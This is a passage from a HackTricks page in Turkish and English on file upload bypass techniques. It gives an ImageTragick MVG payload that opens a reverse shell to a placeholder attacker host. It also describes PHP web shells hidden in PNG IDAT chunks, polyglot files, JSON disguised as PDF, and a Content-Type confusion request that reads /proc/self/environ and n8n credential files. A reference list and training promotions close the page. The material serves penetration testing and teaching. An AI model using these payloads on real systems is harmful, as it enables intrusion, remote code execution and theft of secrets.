cat benign.zip evil.zip > combined.zip. - Eğer sunucu doğrulamayı bir parser ile yapıyor (benign.zip’i görür) ancak açmayı başka bir parser ile yapıyorsa (evil.zip’i işler), bloklanmış dosya çıkarılan dizine düşer.
ImageTragic
Bu içeriği bir görsel uzantısıyla yükleyerek güvenlik açığından faydalanın (ImageMagick , 7.0.1-1) (exploit için bkz. exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PNG üzerinde PHP Shell gömme
Bir PNG dosyasının IDAT chunk’ına bir PHP shell gömmek, bazı görüntü işleme operasyonlarını etkili şekilde atlatabilir. PHP-GD’den imagecopyresized ve imagecopyresampled fonksiyonları bu bağlamda özellikle önemlidir; sırasıyla resimlerin yeniden boyutlandırılması ve yeniden örneklenmesi için sıkça kullanılırlar. Gömülü PHP shell’in bu işlemlerden etkilenmeden kalabilmesi, belirli kullanım senaryoları için önemli bir avantajdır.
Bu tekniğin metodolojisi ve potansiyel uygulamalarını içeren ayrıntılı bir inceleme şu makalede verilmektedir: “Encoding Web Shells in PNG IDAT chunks”. Bu kaynak sürecin ve sonuçlarının kapsamlı bir anlayışını sunar.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Polyglot files siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde var olabilen kamuflajcılar gibidir. İlginç bir örnek is GIFAR, hem GIF hem de RAR arşivi olarak işlev gören bir hibrittir. Bu tür dosyalar bu çiftle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Polyglot dosyaların temel faydası, dosyaları tipine göre tarayan güvenlik önlemlerini atlatma kapasitesidir. Birçok uygulamada yalnızca JPEG, GIF veya DOC gibi belirli dosya tiplerine izin verilir; böylece potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riski azaltılmaya çalışılır. Ancak bir polyglot, birden fazla dosya tipinin yapısal kriterlerine uyduğunda, bu kısıtlamaları gizlice atlatabilir.
Bununla birlikte polyglot’ların sınırlamaları da vardır. Örneğin bir polyglot aynı anda bir PHAR dosyası (PHp ARchive) ve bir JPEG olabilse de, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılarda katıysa, polyglot’un yapısal ikiliği tek başına yüklemeyi garanti etmeyebilir.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
PDF gibi davranan geçerli JSON’lar yükleme
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from this blog post):
mmmagiclibrary:%PDFmagic byte’ları ilk 1024 bayt içinde olduğu sürece geçerli sayılır (örnek için yazıya bak)pdfliblibrary: JSON içindeki bir alana sahte bir PDF formatı ekleyin, böylece kütüphane bunun bir PDF olduğunu düşünsün (örnek için yazıya bak)filebinary: Bir dosyadan 1048576 bayta kadar okuyabilir. JSON’u bu boyuttan daha büyük yapın ki içeriği JSON olarak ayrıştıramasın; sonra JSON’un içine gerçek bir PDF’in başlangıç kısmını koyun ve PDF olduğunu düşünecektir
Content-Type karışıklığıyla arbitrary file read
Bazı upload handler’ları trust the parsed request body (örn. context.getBodyData().files) ve daha sonra copy the file from file.filepath yaparak, önce Content-Type: multipart/form-data zorunluluğunu uygulamadan dosyayı kopyalarlar. Eğer sunucu application/json kabul ediyorsa, filepath’i herhangi bir local path’e işaret eden sahte bir files objesi sağlayabilirsiniz; böylece upload akışı arbitrary file read primitive’ine dönüşür.
Example POST against a form workflow returning the uploaded binary in the HTTP response:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
Backend, file.filepath’i kopyalar; bu yüzden yanıt o yolun içeriğini döndürür. Yaygın zincir: $HOME’i öğrenmek için /proc/self/environ okunur; ardından anahtarlar için $HOME/.n8n/config ve kullanıcı kimlikleri için $HOME/.n8n/database.sqlite okunur.
Referanslar
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


